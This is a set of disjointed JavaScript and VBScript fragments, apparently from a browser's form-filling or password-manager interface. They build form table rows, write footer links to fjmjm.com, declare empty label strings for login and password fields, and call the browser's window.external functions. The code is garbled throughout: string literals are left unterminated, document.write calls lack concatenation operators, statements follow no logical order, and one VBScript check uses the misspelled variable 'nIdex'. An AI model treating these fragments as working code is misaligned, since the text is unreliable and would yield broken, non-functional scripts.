oTd1.childNodes[0].href = formUrl;

oTr.setAttribute( "tw_formID", _vUserData[i].id );

oTr.bgColor = "#F5F5F5";

_vCommonData.splice( 0, _vCommonData.length );

_vUserData.splice( 0, _vUserData.length );

formObj.id = tw_getFormDataByIndex( nIndex );

if(formObj.id.indexOf("twcommon_")!=-1)

_vCommonData[_vCommonData.length] = formObj;

_vUserData[_vUserData.length] = formObj;

addForm.style.color = _tabtextcolor;

if( _vCommonData.length == 0 ){

if( _vCommonData.length > 0 )

pObj = TalComForm.rows[0].cells[1];

document.write( "
"   _strWebSite   " | "  _strAboutPhoenix  " | "  _strThanks  "
" );

var _strLoginInfo="

var _strPassQues="

var _strPass="

var _strPassAnswer="

var _strWeb="

var _strWebSite = "

var _strWebSiteLink = "http://www.fjmjm.com";

var _strPhoenixLink = "http://www.fjmjm.com";

var _strThanksLink = "http://www.fjmjm.com";

Dim g_urlArray( 1024 ):Dim g_nCountVB:g_nCountVB = 0:Function SetArray( nIndex, strItem ):if nIdex < 1024 then:

g_urlArray( nIndex ) = strItem:

end if:End Function:Function OpenAllByVB( ):call window.external.twmutinavigate( window, "", g_urlArray(0), g_nCountVB ):End Function

g_strSecurityId = external.twGetSecurityID( window )

ret = external.twoption( g_strSecurityId, nID, bWrite, g_lValue, g_bstrValue1, g_bstrValue2, g_strArray(0), g_arraySize )

var oNewNode = document.createElement("LI");

header_btn.appendChild(oNewNode);

inFrame.document.write( "" );

inFrame.document.write( "
" );

inFrame.document.write( "" );

inFrame.document.write( "